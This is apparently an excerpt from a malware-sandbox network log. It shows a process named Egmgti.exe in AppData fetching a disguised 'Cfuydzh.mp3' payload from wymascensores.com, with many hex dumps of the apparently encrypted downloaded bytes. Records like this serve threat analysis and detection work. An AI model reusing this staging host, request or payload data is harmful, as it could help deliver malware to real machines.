2024-10-02 13:45:15 UTC	7983	IN	Data Raw: c3 f3 f4 bf d0 72 6b 8c bd 6c f7 be 07 93 f1 c9 c3 b3 32 0c 62 2f 13 12 a4 9d 8a 47 0c c9 3d 86 9b af 15 29 2e 66 6c 1b 02 68 4f de 08 33 87 24 01 ec 78 11 06 c6 48 01 5d 31 97 c1 45 0d 8b eb ef 78 58 8d a5 f5 5c 32 0e a6 3b ae b3 c9 dc 70 0d b8 e9 b0 fb 24 91 9d 2f 99 b4 e5 1d 51 16 ad 45 dd a7 ad 34 bb aa c4 b5 ed 89 4f 39 1e 06 5f 8d 85 ab d4 99 8a 03 d3 c5 3b 29 fc 3d 08 84 35 83 df f1 1b f5 91 3f 2b 49 e4 10 93 4e 7c 6e 35 9c 7f c7 9c 1a ba b1 a4 91 8d ad a1 d3 5f 8d 07 c4 1f 18 75 52 35 c6 38 7d df 45 41 db 22 2a 5e 34 06 50 20 44 32 87 0d 68 b8 15 2e 3e f3 9e 5e c8 b1 e3 d0 0c c1 36 78 47 ec 68 20 3f 32 1e 98 25 ec 8f d7 10 34 44 02 78 95 e1 8a fd 97 2c ab 52 d7 f4 86 a9 15 04 a3 28 4e 2c df cf 13 f7 58 7c df 7a e2 e3 2a 3f 06 4d a4 51 9e b8 eb 58 Data Ascii: rkl2b/G=).flhO3$xH]1ExX\2;p$/QE4O9_;)=5?+IN\|n5_uR58}EA"^4P D2h.>^6xGh ?2%4Dx,R(N,X\|z?MQX
2024-10-02 13:45:15 UTC	8000	IN	Data Raw: d4 cb e5 a1 1f 14 2e 83 e4 e6 cf a2 c3 95 89 65 a4 e4 54 c2 ed 2b 64 35 c4 bc 23 28 a4 23 e5 e8 32 40 ad dd 94 19 73 5f 69 cd 61 a2 87 d9 96 f2 7f 61 5e a8 a0 a5 45 18 ec 1e e0 cb 8f 1e 1e 91 41 3c 20 42 1c f8 8c c4 b2 70 87 15 b4 36 f5 e3 85 f2 1b ab 73 c7 c5 9c bb b5 09 58 7b b5 f7 35 c1 9d 31 f8 37 3d ca 20 03 22 98 41 f2 5e 8b 86 76 41 f6 af bc e3 d3 59 8a 64 b5 bc 39 a0 6d 61 a6 b7 14 7b 9a 2e 13 39 71 79 d5 a5 82 50 91 18 43 1d 19 ce 5a f4 9d ce bb 46 72 67 26 15 cb c5 05 08 a6 6d 7c 14 50 c1 c5 4e ac 2a 62 20 76 8a 57 87 32 d8 0b 41 d3 7e 21 1a 75 49 d4 45 4f ca cf 1b 2b 20 a5 8c ee c8 91 bd 1a f5 88 75 a9 0e d5 fb 97 ef b2 23 4a c4 03 e9 db a4 a1 66 cc f7 3c ac 07 0a ee a5 66 57 47 2a 2a c0 dc cd 0c f3 cc b0 29 58 5d 8d 9d 86 7a f8 60 dd 3d 1c f6 Data Ascii: .eT+d5#(#2@s_iaa^EA< Bp6sX{517= "A^vAYd9ma{.9qyPCZFrg&m\|PNb vW2A~!uIEO+ u#Jf<fWG*)X]z`=
2024-10-02 13:45:15 UTC	8000	IN	Data Raw: 6a 71 83 ce 01 15 1f 0c 46 1c fe c7 5b 31 c2 9d ca 95 c4 d1 0c d2 03 6f 6c e4 f0 77 86 a0 a4 22 90 42 ac 28 b6 04 30 63 06 43 d6 a9 c0 e5 01 47 92 44 81 12 5e 3b e2 49 f8 01 17 33 77 72 bb 39 6e a1 69 39 06 0c cd 94 d5 d2 d7 a0 79 4e 88 e7 ed 77 68 fd 06 92 7b 05 8f db e7 39 2f 8f 79 cf 51 70 05 b6 0e c9 b5 7c 68 12 a4 93 9b ac d9 dd 43 f4 d2 ef 2b eb 3d 9a 2b 74 a9 96 69 e2 31 1d 77 ef 1f fd 67 36 27 06 80 82 ba 96 d6 45 d2 0a 60 5b ef fd cc ed 77 a6 ca 30 57 94 7c 82 8e 04 0e bf 45 ea 4c 3c be cf 4b 40 04 7a ea be 2e 1e 13 24 22 28 35 55 ff 9c 5c 1b ec 87 3e 66 2b d1 2b 44 9e 91 9a f7 ee eb f1 90 ef c2 84 b3 b4 9f a9 82 18 bf 2a 43 98 d4 f1 d7 84 8e bc c3 32 ea 15 32 37 8d 32 b0 d6 ae f2 a7 28 0b 20 35 11 9a d9 cc fd b5 61 65 78 0a 5a b4 2a 4f 1e ec 33 Data Ascii: jqF[1olw"B(0cCGD^;I3wr9ni9yNwh{9/yQp\|hC+=+ti1wg6'E`[w0W\|EL<K@z.$"(5U\>f++DC2272( 5aexZO3
2024-10-02 13:45:15 UTC	8000	IN	Data Raw: a7 42 45 a8 60 d6 9a cf 1d 67 67 22 da 7a 31 ee c5 40 41 84 8c 4e 26 eb 32 6f 90 57 ed c0 9e dc 87 f5 4d 32 32 ff 2c 9c 28 3a 06 23 57 1f 6b ee 72 51 2a 56 70 6d 49 4b 50 db 65 9f 62 02 98 16 7c 31 68 60 e5 a5 c4 4b 76 bb 31 ff 50 e3 db 61 9b 35 99 e7 1d ad 7d ec 2a 73 7f 88 a3 2a d8 8b 86 3a 70 a3 18 db da db d5 9b 45 f0 50 b1 16 da 83 70 04 16 4d 8d 15 1d f7 07 87 b0 9a 9c 7a 3e e9 b7 fd 1c 87 a6 db a8 33 08 e4 8d b2 bf b9 dd 98 52 f8 c0 c8 64 58 d0 18 d3 03 a4 cd e7 51 34 fc 86 89 27 14 03 3c 55 fe 65 1d e3 92 3d 27 5d bf 0a 1b a5 20 58 47 57 92 8c 44 0f 47 f9 f5 98 93 e1 d6 f5 1e 45 56 bd 33 56 1e 52 5c d1 78 10 c0 2a c6 b0 82 41 f1 a4 37 7f 04 6b 4c 44 30 d5 70 04 f8 46 ac 4d df 8c 10 d3 9f 66 57 a1 46 e0 14 94 58 fe 6b b7 ad 65 08 21 3e 67 44 ba f2 Data Ascii: BE`gg"z1@AN&2oWM22,(:#WkrQVpmIKPeb\|1h`Kv1Pa5}s:pEPpMz>3RdXQ4'<Ue='] XGWDGEV3VR\xA7kLD0pFMfWFXke!>gD
2024-10-02 13:45:15 UTC	8000	IN	Data Raw: 41 4f 28 0d dd 27 1a 33 15 36 0b 67 fe 3d d7 a5 31 22 cf 22 47 2b 3d 01 14 80 32 c4 49 27 b1 e9 6f f7 19 88 f2 48 3b be 1b 61 a8 30 aa a5 e6 74 be 21 24 72 e5 1c 19 08 92 b0 32 e9 63 92 02 c7 e2 98 a1 db b4 5d b4 d7 af b3 af 1f a9 5d 78 d9 9c 3d f8 b5 8c 05 1f db 45 b0 4a 6b a6 45 02 40 4d b3 8e c1 5e da 41 21 cc dc dd c2 0c 8b fe d3 90 d3 a5 8a 4d 5e 70 94 7e 1f cd f2 b6 74 fb c8 89 dd 39 8d 89 82 3d 5a 11 af aa 00 63 04 58 18 bb c3 aa 5f 7b 7e cf b2 5b 88 5b c8 6d 88 a7 bf 31 cf 42 e3 d7 a5 4b a4 47 10 e6 be 60 97 5c f8 44 80 5e c3 47 85 f8 a2 75 22 67 59 db f1 d9 3d 9b 2a 82 5f e5 f0 69 14 4e 13 7f af 9b 73 cc d6 68 3a 21 35 88 3a 21 23 dd 20 48 46 72 a3 c2 47 54 fd d7 54 e1 7d d1 38 7f 37 29 4c 04 41 1c b2 87 11 6e 9e 68 ff 71 fb 1a cb 05 20 fb 6e ef Data Ascii: AO('36g=1""G+=2I'oH;a0t!$r2c]]x=EJkE@M^A!M^p~t9=ZcX_{~[[m1BKG`\D^Gu"gY=*_iNsh:!5:!# HFrGTT}87)LAnhq n
2024-10-02 13:45:15 UTC	8000	IN	Data Raw: 0f 68 a6 4c 4d 77 8d 3d 0f 38 f8 e1 58 76 64 8e d9 be 1d 6c bf 4f ad c9 0c 8c 05 e6 38 74 ee 53 28 8b 3a f5 11 f8 f7 98 80 51 67 1d ad c7 5f 17 a1 46 00 32 7f fc dd f0 05 09 5a 1f b4 32 21 e2 33 7c 6d 7f 52 08 b6 98 fd 7f 4c 01 b5 33 07 e0 11 39 8c da 69 f5 a9 36 d1 57 be 84 67 37 f4 4b 49 2f ee 83 7a 07 f9 d7 a6 b2 f7 2c 6d 46 f0 64 15 2f 0d 4e 4f 1f 4c 53 a9 37 08 75 25 08 44 02 de f7 21 04 27 7c 10 2b 25 a6 1b d7 8b 2c ac 8b 2a 8c c4 83 6e a2 91 09 b3 6c 75 32 a4 13 ee d6 c5 89 19 6e e8 99 c7 05 32 27 e2 b4 13 56 6a 18 e5 27 0c 04 dd 3a cd 27 6f ba 2b 8c 5e 9c c9 48 82 47 86 7e 52 b3 9c f0 77 c7 46 f4 3a e0 18 80 3b ed 65 8c 19 fe af 55 72 72 72 99 85 51 06 b6 66 73 cd b9 9b f1 47 ef ef cb 7e 9c 24 22 84 66 03 02 b2 4f 11 64 f2 6d f9 05 ce b5 4b ba 97 Data Ascii: hLMw=8XvdlO8tS(:Qg_F2Z2!3\|mRL39i6Wg7KI/z,mFd/NOLS7u%D!'\|+%,*nlu2n2'Vj':'o+^HG~RwF:;eUrrrQfsG~$"fOdmK
2024-10-02 13:45:15 UTC	8000	IN	Data Raw: f2 1e de 01 f5 bc bb 78 da 04 11 5c 75 e2 4a b8 3e 08 99 f0 59 77 1e f9 d5 1c 2b 5c c8 ae ac 8f d8 91 d9 9c 93 f5 56 25 ce 74 55 4d e8 a1 60 f8 a4 11 ee 80 a0 56 a5 50 5f c9 f9 75 72 83 de 21 e6 5f 7e 98 e2 02 7f d1 85 5a cb 3a 28 c7 87 11 80 d8 cb b6 b5 b4 1e 3f 38 f1 4f 8c 33 a9 2f 4f 48 8d 89 f7 80 cc aa f3 e3 74 d9 b6 38 54 35 af 04 8d c0 1b bf 14 34 be 24 2a 1f 71 95 32 31 4d 90 42 57 32 59 98 98 4b 71 e7 69 63 18 de ea 9d d0 3a bb 47 41 48 2a 48 11 79 36 dc 21 87 59 a1 bc b4 1e 67 f6 05 73 5a be 04 8b 5b 1f f2 7c e1 5f 8d 06 ac 42 e9 75 40 7d 39 28 a3 fe b2 e2 1d ae b6 90 4e 75 90 8e cf 71 dc e8 a5 9f fb 3c 05 49 4f 49 da ef 69 7a 5a e0 7c c8 69 9f 1a 51 74 e6 28 c9 b6 4d 56 cb 2e c9 95 e6 76 ce fc 29 c1 ba 02 33 d9 ee 6f 2d dc 4c 85 7e 10 db 38 84 Data Ascii: x\uJ>Yw+\V%tUM`VP_ur!_~Z:(?8O3/OHt8T54$q21MBW2YKqic:GAHHy6!YgsZ[\|_Bu@}9(Nuq<IOIizZ\|iQt(MV.v)3o-L~8
2024-10-02 13:45:15 UTC	8000	IN	Data Raw: df 24 a1 7d dc c5 ac 05 c5 1f f2 0b 3d ac 71 bd 73 e1 f1 aa 31 32 a2 e3 78 16 a1 ec d9 b7 99 b4 43 e8 fe ec 3e b5 9f ba 35 80 90 57 36 0a 69 91 b0 e1 3d f6 8a 25 c3 bc ad b9 17 97 af f0 70 f0 51 5c 31 11 ee 07 1f 92 6e 26 a4 4b bb 65 27 92 0a 56 b8 99 47 a4 fb 0b 0d f3 f4 ab 9d ba 44 23 c6 ba 82 b7 50 29 e4 b1 e5 a2 e2 c4 85 c9 4b 9e 24 16 1d a9 47 0b 1f 2b fb ae fc 0f 83 74 55 30 7c 25 7e 5a b3 d8 82 11 60 2b 5d cb 5c 7e b6 be 32 95 78 3f 7e d3 ef 01 b3 9d ca af fc 05 d1 e5 87 92 dc 3c 29 d0 ff 53 47 93 74 8a 8a 24 a7 36 a6 f5 92 16 3d b8 21 39 f6 ec 5a 22 28 1e cb f4 da e7 14 b4 6a b9 e2 b5 24 4b 57 73 b2 68 4d c7 e3 41 8f 80 68 04 64 15 8a 34 c8 4b a1 b0 66 65 25 ed 13 9e 94 69 2c 76 5c 64 1a 64 a9 a1 d3 c4 2a 1c e3 03 30 a1 21 e3 f3 30 3b b3 95 57 55 Data Ascii: $}=qs12xC>5W6i=%pQ\1n&Ke'VGD#P)K$G+tU0\|%~Z`+]\~2x?~<)SGt$6=!9Z"(j$KWshMAhd4Kfe%i,v\dd*0!0;WU
2024-10-02 13:45:15 UTC	8000	IN	Data Raw: 2e 20 1e f3 b7 0c 80 59 a7 66 bc 3a b9 63 4a d5 9e 84 44 ec f2 4f 29 3a 0e 7d 27 31 d6 51 d9 fc 2d 85 f0 5a d7 32 b6 1c 24 33 54 61 ae b7 4f 90 a2 6c c6 c3 55 15 f2 1c b4 2f 83 a2 41 63 7b 75 b4 07 97 71 a8 da a5 b2 db 3b d8 72 ff 6c ad 2e e2 16 b1 25 a7 f9 41 e3 fc 4a e9 0b c0 3a 24 20 30 a5 2e bc 8a 81 32 85 c0 c2 96 39 4b 40 b9 d0 c0 47 a5 82 b2 e5 74 aa 68 b5 1d 1f 8c 27 91 d5 fe e2 2f 0d 6f a2 d8 4b 9d 04 81 9b 72 49 10 42 23 48 95 b7 be ad 22 6b c2 21 2d 17 28 8a 31 ca c2 19 32 7c bb 58 89 24 9f d2 f8 cf 29 65 12 6b 12 5c fb dc fb d8 6a 3d a3 20 a3 65 77 20 8f 2e 23 bb ea 41 ad 9d 30 79 2a 30 74 de 9b 57 4d e0 eb aa c4 d6 c1 87 76 16 7d c3 f5 cd e7 34 d1 31 17 c4 31 f0 58 6e fc a2 9e b0 ce 3c f9 f1 79 f4 dd 9a e7 4f ec 39 74 59 ba 29 43 f3 7d 38 e7 Data Ascii: . Yf:cJDO):}'1Q-Z2$3TaOlU/Ac{uq;rl.%AJ:$ 0.29K@Gth'/oKrIB#H"k!-(12\|X$)ek\j= ew .#A0y*0tWMv}411Xn<yO9tY)C}8
2024-10-02 13:45:15 UTC	8000	IN	Data Raw: 3e fc 12 86 19 37 75 97 46 5b 31 54 40 ea 61 21 28 09 79 28 97 ba a9 23 6b 7a 5a 4f ed 4d 06 2e 73 79 9f 8e 95 0e 0c 42 2a 8e 7a 62 9c 8d 4d b6 34 70 49 3e b7 fc 26 b8 73 ac 0a 8c bb 62 bb 79 f5 71 91 21 c2 a1 5f 8f 15 88 a4 ed 05 79 e8 43 10 18 74 c2 91 1c 6a 12 61 6d 68 c0 aa e6 33 e8 b7 03 37 9e 77 f7 82 59 44 a7 14 50 f9 45 33 0c 22 72 b0 90 3e 93 74 6f f6 cd 16 73 b8 42 cf d1 53 ce 1a b3 74 c4 90 ca e6 fa 82 41 1e d7 f8 a1 8e 8a 98 b8 e1 5c d4 2b e7 47 fe b5 b4 39 98 58 7c f1 f2 e7 8b 6a 61 26 27 35 5d 9a 8c fa 27 e3 e8 15 ba ed c4 42 da d9 78 13 54 aa 63 41 fa 81 29 99 63 92 09 3a 9a 1c c4 e5 62 ba ba 93 a8 77 ff e1 e3 e5 d7 d2 ce 14 4f 01 f7 e0 1d 4e e2 da 89 3e b8 d3 5d 8f ab 0d 0b d1 cc d6 72 4f 63 a1 21 65 1e 40 bb 41 ed 89 63 32 f0 1c 3c 58 d7 Data Ascii: >7uF[1T@a!(y(#kzZOM.syB*zbM4pI>&sbyq!_yCtjamh37wYDPE3"r>tosBStA\+G9X\|ja&'5]'BxTcA)c:bwON>]rOc!e@Ac2<X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	53097	67.212.175.162	443	5864	C:\Users\user\AppData\Roaming\Egmgti.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 13:45:23 UTC	85	OUT	GET /hzamni/Cfuydzh.mp3 HTTP/1.1 Host: wymascensores.com Connection: Keep-Alive
2024-10-02 13:45:23 UTC	209	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 13:45:22 GMT Server: Apache Last-Modified: Wed, 02 Oct 2024 05:50:50 GMT Accept-Ranges: bytes Content-Length: 958984 Connection: close Content-Type: audio/mpeg
2024-10-02 13:45:23 UTC	7983	IN	Data Raw: c3 f3 f4 bf d0 72 6b 8c bd 6c f7 be 07 93 f1 c9 c3 b3 32 0c 62 2f 13 12 a4 9d 8a 47 0c c9 3d 86 9b af 15 29 2e 66 6c 1b 02 68 4f de 08 33 87 24 01 ec 78 11 06 c6 48 01 5d 31 97 c1 45 0d 8b eb ef 78 58 8d a5 f5 5c 32 0e a6 3b ae b3 c9 dc 70 0d b8 e9 b0 fb 24 91 9d 2f 99 b4 e5 1d 51 16 ad 45 dd a7 ad 34 bb aa c4 b5 ed 89 4f 39 1e 06 5f 8d 85 ab d4 99 8a 03 d3 c5 3b 29 fc 3d 08 84 35 83 df f1 1b f5 91 3f 2b 49 e4 10 93 4e 7c 6e 35 9c 7f c7 9c 1a ba b1 a4 91 8d ad a1 d3 5f 8d 07 c4 1f 18 75 52 35 c6 38 7d df 45 41 db 22 2a 5e 34 06 50 20 44 32 87 0d 68 b8 15 2e 3e f3 9e 5e c8 b1 e3 d0 0c c1 36 78 47 ec 68 20 3f 32 1e 98 25 ec 8f d7 10 34 44 02 78 95 e1 8a fd 97 2c ab 52 d7 f4 86 a9 15 04 a3 28 4e 2c df cf 13 f7 58 7c df 7a e2 e3 2a 3f 06 4d a4 51 9e b8 eb 58 Data Ascii: rkl2b/G=).flhO3$xH]1ExX\2;p$/QE4O9_;)=5?+IN\|n5_uR58}EA"^4P D2h.>^6xGh ?2%4Dx,R(N,X\|z?MQX
2024-10-02 13:45:23 UTC	8000	IN	Data Raw: d4 cb e5 a1 1f 14 2e 83 e4 e6 cf a2 c3 95 89 65 a4 e4 54 c2 ed 2b 64 35 c4 bc 23 28 a4 23 e5 e8 32 40 ad dd 94 19 73 5f 69 cd 61 a2 87 d9 96 f2 7f 61 5e a8 a0 a5 45 18 ec 1e e0 cb 8f 1e 1e 91 41 3c 20 42 1c f8 8c c4 b2 70 87 15 b4 36 f5 e3 85 f2 1b ab 73 c7 c5 9c bb b5 09 58 7b b5 f7 35 c1 9d 31 f8 37 3d ca 20 03 22 98 41 f2 5e 8b 86 76 41 f6 af bc e3 d3 59 8a 64 b5 bc 39 a0 6d 61 a6 b7 14 7b 9a 2e 13 39 71 79 d5 a5 82 50 91 18 43 1d 19 ce 5a f4 9d ce bb 46 72 67 26 15 cb c5 05 08 a6 6d 7c 14 50 c1 c5 4e ac 2a 62 20 76 8a 57 87 32 d8 0b 41 d3 7e 21 1a 75 49 d4 45 4f ca cf 1b 2b 20 a5 8c ee c8 91 bd 1a f5 88 75 a9 0e d5 fb 97 ef b2 23 4a c4 03 e9 db a4 a1 66 cc f7 3c ac 07 0a ee a5 66 57 47 2a 2a c0 dc cd 0c f3 cc b0 29 58 5d 8d 9d 86 7a f8 60 dd 3d 1c f6 Data Ascii: .eT+d5#(#2@s_iaa^EA< Bp6sX{517= "A^vAYd9ma{.9qyPCZFrg&m\|PNb vW2A~!uIEO+ u#Jf<fWG*)X]z`=
2024-10-02 13:45:23 UTC	8000	IN	Data Raw: 6a 71 83 ce 01 15 1f 0c 46 1c fe c7 5b 31 c2 9d ca 95 c4 d1 0c d2 03 6f 6c e4 f0 77 86 a0 a4 22 90 42 ac 28 b6 04 30 63 06 43 d6 a9 c0 e5 01 47 92 44 81 12 5e 3b e2 49 f8 01 17 33 77 72 bb 39 6e a1 69 39 06 0c cd 94 d5 d2 d7 a0 79 4e 88 e7 ed 77 68 fd 06 92 7b 05 8f db e7 39 2f 8f 79 cf 51 70 05 b6 0e c9 b5 7c 68 12 a4 93 9b ac d9 dd 43 f4 d2 ef 2b eb 3d 9a 2b 74 a9 96 69 e2 31 1d 77 ef 1f fd 67 36 27 06 80 82 ba 96 d6 45 d2 0a 60 5b ef fd cc ed 77 a6 ca 30 57 94 7c 82 8e 04 0e bf 45 ea 4c 3c be cf 4b 40 04 7a ea be 2e 1e 13 24 22 28 35 55 ff 9c 5c 1b ec 87 3e 66 2b d1 2b 44 9e 91 9a f7 ee eb f1 90 ef c2 84 b3 b4 9f a9 82 18 bf 2a 43 98 d4 f1 d7 84 8e bc c3 32 ea 15 32 37 8d 32 b0 d6 ae f2 a7 28 0b 20 35 11 9a d9 cc fd b5 61 65 78 0a 5a b4 2a 4f 1e ec 33 Data Ascii: jqF[1olw"B(0cCGD^;I3wr9ni9yNwh{9/yQp\|hC+=+ti1wg6'E`[w0W\|EL<K@z.$"(5U\>f++DC2272( 5aexZO3
2024-10-02 13:45:23 UTC	8000	IN	Data Raw: a7 42 45 a8 60 d6 9a cf 1d 67 67 22 da 7a 31 ee c5 40 41 84 8c 4e 26 eb 32 6f 90 57 ed c0 9e dc 87 f5 4d 32 32 ff 2c 9c 28 3a 06 23 57 1f 6b ee 72 51 2a 56 70 6d 49 4b 50 db 65 9f 62 02 98 16 7c 31 68 60 e5 a5 c4 4b 76 bb 31 ff 50 e3 db 61 9b 35 99 e7 1d ad 7d ec 2a 73 7f 88 a3 2a d8 8b 86 3a 70 a3 18 db da db d5 9b 45 f0 50 b1 16 da 83 70 04 16 4d 8d 15 1d f7 07 87 b0 9a 9c 7a 3e e9 b7 fd 1c 87 a6 db a8 33 08 e4 8d b2 bf b9 dd 98 52 f8 c0 c8 64 58 d0 18 d3 03 a4 cd e7 51 34 fc 86 89 27 14 03 3c 55 fe 65 1d e3 92 3d 27 5d bf 0a 1b a5 20 58 47 57 92 8c 44 0f 47 f9 f5 98 93 e1 d6 f5 1e 45 56 bd 33 56 1e 52 5c d1 78 10 c0 2a c6 b0 82 41 f1 a4 37 7f 04 6b 4c 44 30 d5 70 04 f8 46 ac 4d df 8c 10 d3 9f 66 57 a1 46 e0 14 94 58 fe 6b b7 ad 65 08 21 3e 67 44 ba f2 Data Ascii: BE`gg"z1@AN&2oWM22,(:#WkrQVpmIKPeb\|1h`Kv1Pa5}s:pEPpMz>3RdXQ4'<Ue='] XGWDGEV3VR\xA7kLD0pFMfWFXke!>gD
2024-10-02 13:45:23 UTC	8000	IN	Data Raw: 41 4f 28 0d dd 27 1a 33 15 36 0b 67 fe 3d d7 a5 31 22 cf 22 47 2b 3d 01 14 80 32 c4 49 27 b1 e9 6f f7 19 88 f2 48 3b be 1b 61 a8 30 aa a5 e6 74 be 21 24 72 e5 1c 19 08 92 b0 32 e9 63 92 02 c7 e2 98 a1 db b4 5d b4 d7 af b3 af 1f a9 5d 78 d9 9c 3d f8 b5 8c 05 1f db 45 b0 4a 6b a6 45 02 40 4d b3 8e c1 5e da 41 21 cc dc dd c2 0c 8b fe d3 90 d3 a5 8a 4d 5e 70 94 7e 1f cd f2 b6 74 fb c8 89 dd 39 8d 89 82 3d 5a 11 af aa 00 63 04 58 18 bb c3 aa 5f 7b 7e cf b2 5b 88 5b c8 6d 88 a7 bf 31 cf 42 e3 d7 a5 4b a4 47 10 e6 be 60 97 5c f8 44 80 5e c3 47 85 f8 a2 75 22 67 59 db f1 d9 3d 9b 2a 82 5f e5 f0 69 14 4e 13 7f af 9b 73 cc d6 68 3a 21 35 88 3a 21 23 dd 20 48 46 72 a3 c2 47 54 fd d7 54 e1 7d d1 38 7f 37 29 4c 04 41 1c b2 87 11 6e 9e 68 ff 71 fb 1a cb 05 20 fb 6e ef Data Ascii: AO('36g=1""G+=2I'oH;a0t!$r2c]]x=EJkE@M^A!M^p~t9=ZcX_{~[[m1BKG`\D^Gu"gY=*_iNsh:!5:!# HFrGTT}87)LAnhq n
2024-10-02 13:45:23 UTC	8000	IN	Data Raw: 0f 68 a6 4c 4d 77 8d 3d 0f 38 f8 e1 58 76 64 8e d9 be 1d 6c bf 4f ad c9 0c 8c 05 e6 38 74 ee 53 28 8b 3a f5 11 f8 f7 98 80 51 67 1d ad c7 5f 17 a1 46 00 32 7f fc dd f0 05 09 5a 1f b4 32 21 e2 33 7c 6d 7f 52 08 b6 98 fd 7f 4c 01 b5 33 07 e0 11 39 8c da 69 f5 a9 36 d1 57 be 84 67 37 f4 4b 49 2f ee 83 7a 07 f9 d7 a6 b2 f7 2c 6d 46 f0 64 15 2f 0d 4e 4f 1f 4c 53 a9 37 08 75 25 08 44 02 de f7 21 04 27 7c 10 2b 25 a6 1b d7 8b 2c ac 8b 2a 8c c4 83 6e a2 91 09 b3 6c 75 32 a4 13 ee d6 c5 89 19 6e e8 99 c7 05 32 27 e2 b4 13 56 6a 18 e5 27 0c 04 dd 3a cd 27 6f ba 2b 8c 5e 9c c9 48 82 47 86 7e 52 b3 9c f0 77 c7 46 f4 3a e0 18 80 3b ed 65 8c 19 fe af 55 72 72 72 99 85 51 06 b6 66 73 cd b9 9b f1 47 ef ef cb 7e 9c 24 22 84 66 03 02 b2 4f 11 64 f2 6d f9 05 ce b5 4b ba 97 Data Ascii: hLMw=8XvdlO8tS(:Qg_F2Z2!3\|mRL39i6Wg7KI/z,mFd/NOLS7u%D!'\|+%,*nlu2n2'Vj':'o+^HG~RwF:;eUrrrQfsG~$"fOdmK
2024-10-02 13:45:23 UTC	8000	IN	Data Raw: f2 1e de 01 f5 bc bb 78 da 04 11 5c 75 e2 4a b8 3e 08 99 f0 59 77 1e f9 d5 1c 2b 5c c8 ae ac 8f d8 91 d9 9c 93 f5 56 25 ce 74 55 4d e8 a1 60 f8 a4 11 ee 80 a0 56 a5 50 5f c9 f9 75 72 83 de 21 e6 5f 7e 98 e2 02 7f d1 85 5a cb 3a 28 c7 87 11 80 d8 cb b6 b5 b4 1e 3f 38 f1 4f 8c 33 a9 2f 4f 48 8d 89 f7 80 cc aa f3 e3 74 d9 b6 38 54 35 af 04 8d c0 1b bf 14 34 be 24 2a 1f 71 95 32 31 4d 90 42 57 32 59 98 98 4b 71 e7 69 63 18 de ea 9d d0 3a bb 47 41 48 2a 48 11 79 36 dc 21 87 59 a1 bc b4 1e 67 f6 05 73 5a be 04 8b 5b 1f f2 7c e1 5f 8d 06 ac 42 e9 75 40 7d 39 28 a3 fe b2 e2 1d ae b6 90 4e 75 90 8e cf 71 dc e8 a5 9f fb 3c 05 49 4f 49 da ef 69 7a 5a e0 7c c8 69 9f 1a 51 74 e6 28 c9 b6 4d 56 cb 2e c9 95 e6 76 ce fc 29 c1 ba 02 33 d9 ee 6f 2d dc 4c 85 7e 10 db 38 84 Data Ascii: x\uJ>Yw+\V%tUM`VP_ur!_~Z:(?8O3/OHt8T54$q21MBW2YKqic:GAHHy6!YgsZ[\|_Bu@}9(Nuq<IOIizZ\|iQt(MV.v)3o-L~8
2024-10-02 13:45:23 UTC	8000	IN	Data Raw: df 24 a1 7d dc c5 ac 05 c5 1f f2 0b 3d ac 71 bd 73 e1 f1 aa 31 32 a2 e3 78 16 a1 ec d9 b7 99 b4 43 e8 fe ec 3e b5 9f ba 35 80 90 57 36 0a 69 91 b0 e1 3d f6 8a 25 c3 bc ad b9 17 97 af f0 70 f0 51 5c 31 11 ee 07 1f 92 6e 26 a4 4b bb 65 27 92 0a 56 b8 99 47 a4 fb 0b 0d f3 f4 ab 9d ba 44 23 c6 ba 82 b7 50 29 e4 b1 e5 a2 e2 c4 85 c9 4b 9e 24 16 1d a9 47 0b 1f 2b fb ae fc 0f 83 74 55 30 7c 25 7e 5a b3 d8 82 11 60 2b 5d cb 5c 7e b6 be 32 95 78 3f 7e d3 ef 01 b3 9d ca af fc 05 d1 e5 87 92 dc 3c 29 d0 ff 53 47 93 74 8a 8a 24 a7 36 a6 f5 92 16 3d b8 21 39 f6 ec 5a 22 28 1e cb f4 da e7 14 b4 6a b9 e2 b5 24 4b 57 73 b2 68 4d c7 e3 41 8f 80 68 04 64 15 8a 34 c8 4b a1 b0 66 65 25 ed 13 9e 94 69 2c 76 5c 64 1a 64 a9 a1 d3 c4 2a 1c e3 03 30 a1 21 e3 f3 30 3b b3 95 57 55 Data Ascii: $}=qs12xC>5W6i=%pQ\1n&Ke'VGD#P)K$G+tU0\|%~Z`+]\~2x?~<)SGt$6=!9Z"(j$KWshMAhd4Kfe%i,v\dd*0!0;WU
2024-10-02 13:45:23 UTC	8000	IN	Data Raw: 2e 20 1e f3 b7 0c 80 59 a7 66 bc 3a b9 63 4a d5 9e 84 44 ec f2 4f 29 3a 0e 7d 27 31 d6 51 d9 fc 2d 85 f0 5a d7 32 b6 1c 24 33 54 61 ae b7 4f 90 a2 6c c6 c3 55 15 f2 1c b4 2f 83 a2 41 63 7b 75 b4 07 97 71 a8 da a5 b2 db 3b d8 72 ff 6c ad 2e e2 16 b1 25 a7 f9 41 e3 fc 4a e9 0b c0 3a 24 20 30 a5 2e bc 8a 81 32 85 c0 c2 96 39 4b 40 b9 d0 c0 47 a5 82 b2 e5 74 aa 68 b5 1d 1f 8c 27 91 d5 fe e2 2f 0d 6f a2 d8 4b 9d 04 81 9b 72 49 10 42 23 48 95 b7 be ad 22 6b c2 21 2d 17 28 8a 31 ca c2 19 32 7c bb 58 89 24 9f d2 f8 cf 29 65 12 6b 12 5c fb dc fb d8 6a 3d a3 20 a3 65 77 20 8f 2e 23 bb ea 41 ad 9d 30 79 2a 30 74 de 9b 57 4d e0 eb aa c4 d6 c1 87 76 16 7d c3 f5 cd e7 34 d1 31 17 c4 31 f0 58 6e fc a2 9e b0 ce 3c f9 f1 79 f4 dd 9a e7 4f ec 39 74 59 ba 29 43 f3 7d 38 e7 Data Ascii: . Yf:cJDO):}'1Q-Z2$3TaOlU/Ac{uq;rl.%AJ:$ 0.29K@Gth'/oKrIB#H"k!-(12\|X$)ek\j= ew .#A0y*0tWMv}411Xn<yO9tY)C}8
